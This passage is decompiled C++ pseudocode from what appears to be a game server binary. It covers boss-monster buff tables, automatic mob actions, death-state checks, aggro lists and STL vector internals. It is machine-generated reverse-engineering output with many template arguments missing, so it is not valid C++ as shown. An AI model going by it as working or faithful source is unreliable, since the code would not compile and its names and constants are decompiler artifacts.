*((_DWORD *)v2 + 1) + 4 * ((*(_DWORD *)(__formal + 8) - v9) >> 2); result = v2; } else { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1); result = v2; } return result; } if ( v7 ) v10 = (*((_DWORD *)v2 + 3) - v7) >> 2; else v10 = 0; if ( v5 > (unsigned int)v10 ) { if ( v7 ) operator delete(*((void **)v2 + 1)); v13 = *(_DWORD *)(__formal + 4); if ( v13 ) v14 = (*(_DWORD *)(__formal + 8) - v13) >> 2; else v14 = 0; if ( std::vector>::_Buy( (std::vector > *)v2, v14) ) *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( (std::allocator,std::allocator > >::iterator> *)v2, *(std::list,std::allocator > >::iterator **)(__formal + 4), *(std::list,std::allocator > >::iterator **)(__formal + 8), *((std::list,std::allocator > >::iterator **)v2 + 1)); return v2; } if ( v7 ) v11 = (*((_DWORD *)v2 + 2) - v7) >> 2; else v11 = 0; v12 = (ABSTATEINDEX *)(*(_DWORD *)(__formal + 4) + 4 * v11); std::copy( *(ABSTATEINDEX **)(__formal + 4), v12, *((ABSTATEINDEX **)v2 + 1)); *((_DWORD *)v2 + 2) = std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( (std::list,std::allocator > >::iterator *)v12, *(std::list,std::allocator > >::iterator **)(__formal + 8), *((std::list,std::allocator > >::iterator **)v2 + 2), (std::allocator,std::allocator > >::iterator> *)v2, (std::_Nonscalar_ptr_iterator_tag)__formal); return v2; } //----- (0059E260) -------------------------------------------------------- void __thiscall BossFieldContent::ServentBuffBossTable::sbbt_Load(BossFieldContent::ServentBuffBossTable *this) { unsigned int v1; // eax@1 unsigned int v2; // ecx@1 void *v3; // esi@5 unsigned int v4; // edi@13 MobDataBox::MobDataBoxIndex *v5; // eax@16 unsigned int k; // [sp+Ch] [bp-DCh]@1 std::_Tree,std::allocator,0> > *thisa; // [sp+10h] [bp-D8h]@1 int tmp; // [sp+14h] [bp-D4h]@7 unsigned int v9; // [sp+18h] [bp-D0h]@16 AbnormalStateDictionary::AbState::AbStateStr *v10; // [sp+1Ch] [bp-CCh]@16 int v11; // [sp+20h] [bp-C8h]@16 FunctionEntarance _; // [sp+24h] [bp-C4h]@1 std::pair,std::allocator,0> >::iterator,bool result; // [sp+28h] [bp-C0h]@16 char sm; // [sp+30h] [bp-B8h]@1 int v15; // [sp+60h] [bp-88h]@1 char flag; // [sp+6Ch] [bp-7Ch]@1 unsigned int v17; // [sp+D4h] [bp-14h]@1 int v18; // [sp+E4h] [bp-4h]@1 int v19; // [sp+E8h] [bp+0h]@1 thisa = (std::_Tree,std::allocator,0> > *)this; v17 = (unsigned int)&v19 ^ __security_cookie; _.fe_FunctionCode = "BossFieldContent::ServentBuffBossTable::sbbt_Load"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "BossFieldContent::ServentBuffBossTable::sbbt_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "BossFieldContent::ServentBuffBossTable::sbbt_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v18 = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)&sm); memset(&flag, 0, 0x64u); LOBYTE(v18) = 1; BinaryDataBox::bdb_ReadData((BinaryDataBox *)&sm, "../9Data/Hero/StateMob.shn"); v1 = *(_DWORD *)(v15 + 40); v2 = 0; k = 0; if ( (signed int)v1 > 0 ) { while ( 1 ) { if ( v2 < v1 ) v3 = CDataReader::GetRecord((CDataReader *)&sm, v2); else v3 = &flag; LOWORD(tmp) = MobDataBox::mdb_2MobID(&mobdatabox, (const char *)v3 + 32); if ( (_WORD)tmp == -1 ) { AssertClass::ac_AssertFail( &shineassert, "ServentBuffBossTable::sbbt_Load : ConditionMob not found", (const char *)v3 + 32); ShineExit("ServentBuffBossTable::sbbt_Load"); } HIWORD(tmp) = MobDataBox::mdb_2MobID(&mobdatabox, (const char *)v3); if ( HIWORD(tmp) == -1 ) { AssertClass::ac_AssertFail( &shineassert, "ServentBuffBossTable::sbbt_Load : TargetMob not found", (const char *)v3); ShineExit("ServentBuffBossTable::sbbt_Load"); } v4 = BTree::operator__(&unk_6BD71C, (const char *)v3 + 64); if ( v4 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "ServentBuffBossTable::sbbt_Load : Abstate not fount", (const char *)v3 + 64); ShineExit("FieldContainer::fc_AbstateInFieldLoad"); } v9 = v4; v10 = AbnormalStateDictionary::AbState::as_FromIndex(&dic_abstate, (ABSTATEINDEX)v4); v11 = *((_DWORD *)v3 + 24); v5 = MobDataBox::operator__(&mobdatabox, tmp); v5->MobIndexFlag._bf0 |= 1u; std::_Tree_std::allocator_0>>::insert( thisa, &result, (BossFieldContent::ServentBuffBossTable::ServentBossTable *)&tmp); v1 = *(_DWORD *)(v15 + 40); ++k; if ( (signed int)k >= (signed int)v1 ) break; v2 = k; } } LOBYTE(v18) = 0; CCharacterTitleData::_CCharacterTitleData((BinaryData *)&sm); --funcallanalizer.fca_stackpoint; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::ServentBuffBossTable::sbbt_Load"); } //----- (0059E4A0) -------------------------------------------------------- void __thiscall BossFieldContent::MobAutomaticActionList::maal_Load(BossFieldContent::MobAutomaticActionList *this) { unsigned int v1; // eax@1 unsigned int v2; // edi@1 bool v3; // cf@2 void *v4; // esi@4 MobDataBox::MobDataBoxIndex *v5; // eax@9 int v6; // eax@11 unsigned int v7; // ebx@14 int v8; // eax@17 int v9; // ecx@17 int v10; // edx@17 int v11; // edi@17 unsigned int v12; // eax@17 std::_Tree,std::allocator,0> > *thisa; // [sp+10h] [bp-D0h]@1 std::pair,std::allocator,0> >::iterator,bool> k; // [sp+14h] [bp-CCh]@1 int key; // [sp+1Ch] [bp-C4h]@6 int v16; // [sp+20h] [bp-C0h]@11 unsigned int v17; // [sp+24h] [bp-BCh]@17 int v18; // [sp+28h] [bp-B8h]@17 int v19; // [sp+2Ch] [bp-B4h]@17 int v20; // [sp+30h] [bp-B0h]@17 FunctionEntarance _; // [sp+34h] [bp-ACh]@1 char maa; // [sp+38h] [bp-A8h]@1 int v23; // [sp+68h] [bp-78h]@1 char flag; // [sp+74h] [bp-6Ch]@1 char v25; // [sp+C4h] [bp-1Ch]@1 unsigned int v26; // [sp+CCh] [bp-14h]@1 int v27; // [sp+DCh] [bp-4h]@1 int v28; // [sp+E0h] [bp+0h]@1 thisa = (std::_Tree,std::allocator,0> > *)this; v26 = (unsigned int)&v28 ^ __security_cookie; _.fe_FunctionCode = "BossFieldContent::MobAutomaticActionList::maal_Load"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "BossFieldContent::MobAutomaticActionList::maal_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "BossFieldContent::MobAutomaticActionList::maal_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v27 = 0; CCharacterTitleData::CCharacterTitleData((BinaryData *)&maa); memset(&flag, 0, 0x50u); v25 = 0; LOBYTE(v27) = 1; BinaryDataBox::bdb_ReadData((BinaryDataBox *)&maa, "../9Data/Hero/MobAutoAction.shn"); v1 = *(_DWORD *)(v23 + 40); v2 = 0; *(_DWORD *)&k.first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = 0; if ( (signed int)v1 > 0 ) { v3 = v1 > 0; do { if ( v3 ) v4 = CDataReader::GetRecord((CDataReader *)&maa, v2); else v4 = &flag; LOWORD(key) = MobDataBox::mdb_2MobID(&mobdatabox, (const char *)v4); if ( (_WORD)key == -1 ) { AssertClass::ac_AssertFail( &shineassert, "BossFieldContent::MobAutomaticActionList::maal_Load : Invalid mob in MobAutoAction", (const char *)v4); ShineExit("BossFieldContent::MobAutomaticActionList::maal_Load"); } v5 = MobDataBox::operator__(&mobdatabox, key); if ( !*((_DWORD *)v4 + 8) ) v5->MobIndexFlag._bf0 |= 2u; v6 = *((_DWORD *)v4 + 10); v16 = *((_DWORD *)v4 + 10); if ( v16 != 1 ) { AssertClass::ac_AssertFail( &shineassert, "BossFieldContent::MobAutomaticActionList::maal_Load : ActionType not defined", v6); ShineExit("BossFieldContent::MobAutomaticActionList::maal_Load"); } v7 = BTree::operator__(&unk_6BD71C, (const char *)v4 + 44); if ( v7 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "BossFieldContent::MobAutomaticActionList::maal_Load : Abstate not fount", (const char *)v4 + 44); ShineExit("FieldContainer::fc_AbstateInFieldLoad"); } v8 = *((_BYTE *)v4 + 76); v9 = *(_WORD *)((char *)v4 + 77); v10 = *(_WORD *)((char *)v4 + 79); v11 = *(_DWORD *)&k; v17 = v7; v18 = v8; v19 = v9; v20 = v10; std::_Tree_std::allocator_0>>::insert( thisa, &k, (BossFieldContent::MobAutomaticAction *)&key); v12 = *(_DWORD *)(v23 + 40); v2 = v11 + 1; v3 = v2 < v12; *(_DWORD *)&k.first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v2; } while ( (signed int)v2 < (signed int)v12 ); } LOBYTE(v27) = 0; CCharacterTitleData::_CCharacterTitleData((BinaryData *)&maa); --funcallanalizer.fca_stackpoint; v27 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::MobAutomaticActionList::maal_Load"); } //----- (0059E6D0) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, int _Val) { std::vector > *v3; // esi@1 int *v4; // edx@1 signed int v5; // eax@2 signed int v6; // eax@6 int *v7; // eax@10 char *v8; // edx@11 int *v9; // eax@12 v3 = this; v4 = this->_Myfirst; if ( v4 ) v5 = this->_Mylast - v4; else v5 = 0; if ( v5 >= _Newsize ) { if ( v4 ) { v7 = this->_Mylast; if ( _Newsize < this->_Mylast - v4 ) { v8 = (char *)&v4[_Newsize]; if ( (int *)v8 != v7 ) { memmove(v8, (char *)v7, 0); v3->_Mylast = v9; } } } } else { if ( v4 ) v6 = this->_Mylast - v4; else v6 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v6, &_Val); } } //----- (0059E760) -------------------------------------------------------- BossFieldContent::MobAbstateCheckAtDead *__cdecl std::_Copy_backward_opt(BossFieldContent::MobAbstateCheckAtDead *_First, BossFieldContent::MobAbstateCheckAtDead *_Last, BossFieldContent::MobAbstateCheckAtDead *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { BossFieldContent::MobAbstateCheckAtDead *v4; // esi@1 BossFieldContent::MobAbstateCheckAtDead *v5; // edi@2 StateDropType v6; // eax@3 BossFieldContent::MobAbstateCheckAtDead *result; // eax@4 v4 = _Last; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { v6 = v4[-1].macad_Type; --v4; --v5; v5->macad_Type = v6; std::vector>::operator_( &v5->macad_List, (int)&v4->macad_List); } while ( v4 != _First ); result = v5; } return result; } //----- (0059E7A0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, ABSTATEINDEX *_Val) { std::vector > *v2; // esi@1 ABSTATEINDEX *v3; // edx@1 signed int v4; // ecx@2 ABSTATEINDEX *v5; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v3 && v4 < v2->_Myend - v3 ) { v5 = v2->_Mylast; std::_Uninit_fill_n_std::allocator>>::iterator___unsigned_int_std::list_std::allocator>>::iterator_std::allocator_std::allocator>>::iterator>>( (std::list,std::allocator > >::iterator *)v2->_Mylast, 1u, (std::list,std::allocator > >::iterator *)_Val, (std::allocator,std::allocator > >::iterator> *)v2, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v5 + 1; } else { std::vector>::_Insert_n( v2, (std::vector >::iterator)v2->_Mylast, 1u, _Val); } } //----- (0059E810) -------------------------------------------------------- void __cdecl std::fill(BossFieldContent::MobAbstateCheckAtDead *_First, BossFieldContent::MobAbstateCheckAtDead *_Last, BossFieldContent::MobAbstateCheckAtDead *_Val) { BossFieldContent::MobAbstateCheckAtDead *i; // esi@1 for ( i = _First; i != _Last; ++i ) { i->macad_Type = _Val->macad_Type; std::vector>::operator_( &i->macad_List, (int)&_Val->macad_List); } } //----- (0059E840) -------------------------------------------------------- BossFieldContent::MobAbstateCheckAtDead *__cdecl std::_Uninit_copy>(BossFieldContent::MobAbstateCheckAtDead *_First, BossFieldContent::MobAbstateCheckAtDead *_Last, BossFieldContent::MobAbstateCheckAtDead *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { BossFieldContent::MobAbstateCheckAtDead *v5; // esi@1 BossFieldContent::MobAbstateCheckAtDead *v6; // edi@1 int v8; // [sp+0h] [bp-20h]@1 BossFieldContent::MobAbstateCheckAtDead *_Next; // [sp+Ch] [bp-14h]@1 int *v10; // [sp+10h] [bp-10h]@1 int v11; // [sp+1Ch] [bp-4h]@1 v5 = _Dest; v6 = _First; v10 = &v8; _Next = _Dest; v11 = 0; while ( v6 != _Last ) { LOBYTE(v11) = 1; if ( v5 ) { v5->macad_Type = v6->macad_Type; std::vector>::vector>( &v5->macad_List, &v6->macad_List); } ++v5; LOBYTE(v11) = 0; ++v6; } return v5; } //----- (0059E8F0) -------------------------------------------------------- void __thiscall BossFieldContent::ServentBuffBossTable::_ServentBuffBossTable(BossFieldContent::ServentBuffBossTable *this) { BossFieldContent::ServentBuffBossTable *v1; // esi@1 std::_Tree,std::allocator,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator,0> >::iterator)this; v1 = this; std::_Tree_std::allocator_0>>::erase( &this->sbbt_List.baseclass_0, &result, (std::_Tree,std::allocator,0> >::iterator)this->sbbt_List.baseclass_0._Myhead->_Left, (std::_Tree,std::allocator,0> >::iterator)this->sbbt_List.baseclass_0._Myhead); operator delete(v1->sbbt_List.baseclass_0._Myhead); v1->sbbt_List.baseclass_0._Myhead = 0; v1->sbbt_List.baseclass_0._Mysize = 0; } //----- (0059E920) -------------------------------------------------------- void __thiscall BossFieldContent::MobAbstateCheckAtDead::macad_PushBack(BossFieldContent::MobAbstateCheckAtDead *this, ABSTATEINDEX idx, StateDropType dt) { BossFieldContent::MobAbstateCheckAtDead *v3; // esi@1 ABSTATEINDEX *v4; // ecx@1 ABSTATEINDEX *v5; // eax@1 bool v6; // zf@1 ABSTATEINDEX *v7; // ecx@8 ABSTATEINDEX *v8; // [sp-4h] [bp-1Ch]@10 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "BossFieldContent::MobAbstateCheckAtDead::macad_PushBack"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "BossFieldContent::MobAbstateCheckAtDead::macad_PushBack"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->macad_List._Mylast; v5 = v3->macad_List._Myfirst; v6 = v5 == v4; if ( v5 != v4 ) { do { if ( *v5 == idx ) break; ++v5; } while ( v5 != v4 ); v6 = v5 == v4; } if ( !v6 ) { AssertClass::ac_AssertFail( &shineassert, "BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load : Duplicate abstate", idx); ShineExit("BossFieldContent::MobAbstateCheckAtDead::macad_PushBack"); } v7 = v3->macad_List._Myfirst; if ( v7 && v3->macad_List._Mylast - v7 ) { if ( v3->macad_Type != dt ) { AssertClass::ac_AssertFail( &shineassert, "BossFieldContent::MobAbstateCheckAtDead::macad_PushBack : DropType not same", v3->macad_Type == dt); ShineExit("BossFieldContent::MobAbstateCheckAtDead::macad_PushBack"); } if ( v3->macad_Type ) { AssertClass::ac_AssertFail( &shineassert, "BossFieldContent::MobAbstateCheckAtDead::macad_PushBack : SDT_STA must be one", v3->macad_Type == 0); ShineExit("BossFieldContent::MobAbstateCheckAtDead::macad_PushBack"); } v8 = &idx; } else { v3->macad_Type = dt; v8 = &idx; } std::vector>::push_back(&v3->macad_List, v8); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::MobAbstateCheckAtDead::macad_PushBack"); } //----- (0059EA80) -------------------------------------------------------- void __thiscall BossFieldContent::MobAutomaticActionList::_MobAutomaticActionList(BossFieldContent::MobAutomaticActionList *this) { BossFieldContent::MobAutomaticActionList *v1; // esi@1 std::_Tree,std::allocator,0> >::iterator result; // [sp+0h] [bp-4h]@1 result = (std::_Tree,std::allocator,0> >::iterator)this; v1 = this; std::_Tree_std::allocator_0>>::erase( &this->maal_Set.baseclass_0, &result, (std::_Tree,std::allocator,0> >::iterator)this->maal_Set.baseclass_0._Myhead->_Left, (std::_Tree,std::allocator,0> >::iterator)this->maal_Set.baseclass_0._Myhead); operator delete(v1->maal_Set.baseclass_0._Myhead); v1->maal_Set.baseclass_0._Myhead = 0; v1->maal_Set.baseclass_0._Mysize = 0; } //----- (0059EAB0) -------------------------------------------------------- int __thiscall MobTargetBout::mts_StoreAggroList(MobTargetBout *this, std::vector > *enemylist) { MobTargetBout *v2; // esi@1 MobAggroManager *v3; // ebp@1 std::vector > *v4; // esi@1 unsigned __int16 v5; // bx@1 unsigned __int16 v6; // di@2 ListStruct *v7; // ecx@3 int v8; // eax@3 bool v9; // cf@3 int v10; // eax@4 int v11; // eax@5 int v12; // ecx@6 std::vector > *v13; // eax@7 unsigned __int16 *v14; // edx@7 int v15; // edi@8 unsigned __int16 *v16; // ecx@12 unsigned __int16 *v17; // eax@14 int v18; // esi@15 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobTargetBout::mts_StoreAggroList"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTargetBout::mts_StoreAggroList"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->mtb_targetlist; v4 = enemylist; v5 = v3->baseclass_0.l_Array[v3->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v6 = v3->baseclass_0.l_MaxSize; if ( v5 >= v6 ) break; v7 = v3->baseclass_0.l_Array; v8 = v5; v9 = v5 < v6; v5 = v7[v5].ls_Next; if ( v9 ) { v10 = (int)&v7[v8]; if ( *(_BYTE *)(v10 + 8) ) { v11 = *(_DWORD *)v10; if ( v11 ) { v12 = *(_DWORD *)(v11 + 8); if ( v12 ) { LOWORD(v13) = AxialListNearGateFind::alngf_Gethandle(v12); v14 = v4->_Myfirst; enemylist = v13; if ( v14 ) v15 = v4->_Mylast - v14; else v15 = 0; if ( v14 && v15 < v4->_Myend - v14 ) { v16 = v4->_Mylast; *v16 = (unsigned __int16)v13; v4->_Mylast = v16 + 1; } else { std::vector>::_Insert_n( v4, (std::vector >::iterator)v4->_Mylast, 1u, (const unsigned __int16 *)&enemylist); } } } } } } v17 = v4->_Myfirst; if ( v17 ) v18 = v4->_Mylast - v17; else v18 = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobTargetBout::mts_StoreAggroList"); return v18; } //----- (0059EBF0) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(BossFieldContent::MobAbstateCheckAtDead *_First, unsigned int _Count, BossFieldContent::MobAbstateCheckAtDead *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { BossFieldContent::MobAbstateCheckAtDead *v5; // esi@1 unsigned int v6; // edi@1 int v7; // [sp+0h] [bp-20h]@1 BossFieldContent::MobAbstateCheckAtDead *_Next; // [sp+Ch] [bp-14h]@1 int *v9; // [sp+10h] [bp-10h]@1 int v10; // [sp+1Ch] [bp-4h]@1 v5 = _First; v6 = _Count; v9 = &v7; _Next = _First; v10 = 0; while ( v6 > 0 ) { LOBYTE(v10) = 1; if ( v5 ) { v5->macad_Type = _Val->macad_Type; std::vector>::vector>( &v5->macad_List, &_Val->macad_List); } --v6; ++v5; LOBYTE(v10) = 0; } } //----- (0059ECA0) -------------------------------------------------------- void __thiscall BossFieldContent::ServentBuffBossTable::ServentBuffBossTable(BossFieldContent::ServentBuffBossTable *this) { BossFieldContent::ServentBuffBossTable *v1; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 v1 = this; v2 = std::_Tree_std::allocator_0>>::_Buynode(&this->sbbt_List.baseclass_0); v1->sbbt_List.baseclass_0._Myhead = v2; v2->_Isnil = 1; v1->sbbt_List.baseclass_0._Myhead->_Parent = v1->sbbt_List.baseclass_0._Myhead; v1->sbbt_List.baseclass_0._Myhead->_Left = v1->sbbt_List.baseclass_0._Myhead; v1->sbbt_List.baseclass_0._Myhead->_Right = v1->sbbt_List.baseclass_0._Myhead; v1->sbbt_List.baseclass_0._Mysize = 0; v1->sbbt_NextTick = 0; } //----- (0059ECD0) -------------------------------------------------------- void __thiscall BossFieldContent::MobAutomaticActionList::MobAutomaticActionList(BossFieldContent::MobAutomaticActionList *this) { BossFieldContent::MobAutomaticActionList *v1; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v2; // eax@1 v1 = this; v2 = std::_Tree_std::allocator_0>>::_Buynode(&this->maal_Set.baseclass_0); v1->maal_Set.baseclass_0._Myhead = v2; v2->_Isnil = 1; v1->maal_Set.baseclass_0._Myhead->_Parent = v1->maal_Set.baseclass_0._Myhead; v1->maal_Set.baseclass_0._Myhead->_Left = v1->maal_Set.baseclass_0._Myhead; v1->maal_Set.baseclass_0._Myhead->_Right = v1->maal_Set.baseclass_0._Myhead; v1->maal_Set.baseclass_0._Mysize = 0; } //----- (0059ED00) -------------------------------------------------------- BossFieldContent::MobAbstateCheckAtDead *__thiscall std::vector>::_Ufill(std::vector > *this, BossFieldContent::MobAbstateCheckAtDead *_Ptr, unsigned int _Count, BossFieldContent::MobAbstateCheckAtDead *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (0059ED30) -------------------------------------------------------- void __thiscall std::vector>::_Destroy(std::vector > *this, ItemRandomOption::OptionTable *_First, ItemRandomOption::OptionTable *_Last) { ItemRandomOption::OptionTable *i; // esi@1 for ( i = _First; i != _Last; ++i ) SHND::CommonData::_CommonData(i); } //----- (0059ED60) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, BossFieldContent::MobAbstateCheckAtDead *_Val) { std::vector > *v4; // esi@1 StateDropType v5; // ecx@1 BossFieldContent::MobAbstateCheckAtDead *v6; // ebx@1 unsigned int v7; // ecx@1 signed int v8; // edx@2 unsigned int v9; // edi@3 int v10; // eax@5 int v11; // eax@10 int v12; // ecx@14 int v13; // eax@17 void *v14; // eax@21 void *v15; // ebx@21 BossFieldContent::MobAbstateCheckAtDead *v16; // ST18_4@21 int v17; // eax@21 int v18; // edi@23 ItemRandomOption::OptionTable *v19; // eax@23 BossFieldContent::MobAbstateCheckAtDead *v20; // ecx@26 std::vector >::iterator v21; // ebx@26 BossFieldContent::MobAbstateCheckAtDead *v22; // ecx@27 BossFieldContent::MobAbstateCheckAtDead *v23; // ST24_4@27 unsigned int v24; // edi@27 int v25; // [sp+0h] [bp-38h]@1 StateDropType _Tmp; // [sp+Ch] [bp-2Ch]@1 std::vector > thisa; // [sp+10h] [bp-28h]@1 void *_Newvec; // [sp+20h] [bp-18h]@21 std::vector > *v29; // [sp+24h] [bp-14h]@1 int *v30; // [sp+28h] [bp-10h]@1 int v31; // [sp+34h] [bp-4h]@1 BossFieldContent::MobAbstateCheckAtDead *_Wherea; // [sp+40h] [bp+8h]@28 BossFieldContent::MobAbstateCheckAtDead *_Ptr; // [sp+44h] [bp+Ch]@21 int _Vala; // [sp+48h] [bp+10h]@21 BossFieldContent::MobAbstateCheckAtDead *_Valb; // [sp+48h] [bp+10h]@26 v4 = this; v5 = _Val->macad_Type; v30 = &v25; _Tmp = v5; v29 = v4; std::vector>::vector>( &thisa, &_Val->macad_List); v6 = v4->_Myfirst; v7 = 0; v31 = 0; if ( v6 ) { v8 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)v4->_Myend - (char *)v6)) >> 32) >> 3; v7 = v8 + ((unsigned int)v8 >> 31); } v9 = _Count; if ( _Count ) { if ( v6 ) v10 = v4->_Mylast - v6; else v10 = 0; if ( (unsigned int)(&ddt.ddt_Table[2021][1471].direct - v10) < _Count ) std::vector>::_Xlen(v4); if ( v6 ) v11 = v4->_Mylast - v6; else v11 = 0; if ( v7 >= _Count + v11 ) { v20 = v4->_Mylast; v21 = _Where; _Valb = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 20 >= _Count ) { _Wherea = &v20[-_Count]; v4->_Mylast = std::_Uninit_copy>( &v20[-_Count], v20, v20, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v20 - 20 * _Count)); std::_Copy_backward_opt( *(BossFieldContent::MobAbstateCheckAtDead **)&v21, _Wherea, _Valb, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(BossFieldContent::MobAbstateCheckAtDead **)&v21, (BossFieldContent::MobAbstateCheckAtDead *)(*(_DWORD *)&v21 + 20 * _Count), (BossFieldContent::MobAbstateCheckAtDead *)&_Tmp); } else { std::_Uninit_copy>( *(BossFieldContent::MobAbstateCheckAtDead **)&_Where, v20, (BossFieldContent::MobAbstateCheckAtDead *)(*(_DWORD *)&_Where + 20 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v22 = v4->_Mylast; v23 = v4->_Mylast; LOBYTE(v31) = 3; std::vector>::_Ufill( v4, v23, _Count - (signed int)((char *)v22 - *(_DWORD *)&_Where) / 20, (BossFieldContent::MobAbstateCheckAtDead *)&_Tmp); v24 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (BossFieldContent::MobAbstateCheckAtDead *)v24; v31 = 0; std::fill( *(BossFieldContent::MobAbstateCheckAtDead **)&_Where, (BossFieldContent::MobAbstateCheckAtDead *)(v24 - 20 * _Count), (BossFieldContent::MobAbstateCheckAtDead *)&_Tmp); } } else { if ( (unsigned int)(&ddt.ddt_Table[2021][1471].direct - (v7 >> 1)) >= v7 ) v12 = (v7 >> 1) + v7; else v12 = 0; if ( v6 ) v13 = v4->_Mylast - v6; else v13 = 0; if ( v12 < _Count + v13 ) v12 = _Count + std::vector>::size((std::vector > *)v4); _Vala = 20 * v12; v14 = operator new(20 * v12); v15 = v14; v16 = v4->_Myfirst; _Newvec = v14; LOBYTE(v31) = 1; _Ptr = std::_Uninit_copy>( v16, *(BossFieldContent::MobAbstateCheckAtDead **)&_Where, (BossFieldContent::MobAbstateCheckAtDead *)v14, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v9, (BossFieldContent::MobAbstateCheckAtDead *)&_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>( *(BossFieldContent::MobAbstateCheckAtDead **)&_Where, v4->_Mylast, &_Ptr[v9], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v17 = (int)v4->_Myfirst; if ( v17 ) v17 = (signed int)((char *)v4->_Mylast - v17) / 20; v18 = v17 + v9; v19 = (ItemRandomOption::OptionTable *)v4->_Myfirst; if ( v19 ) { std::vector>::_Destroy( (std::vector > *)v4, v19, (ItemRandomOption::OptionTable *)v4->_Mylast); operator delete(v4->_Myfirst); } v4->_Myend = (BossFieldContent::MobAbstateCheckAtDead *)((char *)v15 + _Vala); v4->_Mylast = (BossFieldContent::MobAbstateCheckAtDead *)((char *)v15 + 20 * v18); v4->_Myfirst = (BossFieldContent::MobAbstateCheckAtDead *)v15; } } if ( thisa._Myfirst ) operator delete(thisa._Myfirst); } //----- (0059F060) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, BossFieldContent::MobAbstateCheckAtDead *_Val) { std::vector > *v4; // edi@1 BossFieldContent::MobAbstateCheckAtDead *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (0059F0E0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, BossFieldContent::MobAbstateCheckAtDead *_Val) { std::vector > *v2; // esi@1 BossFieldContent::MobAbstateCheckAtDead *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 BossFieldContent::MobAbstateCheckAtDead *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { 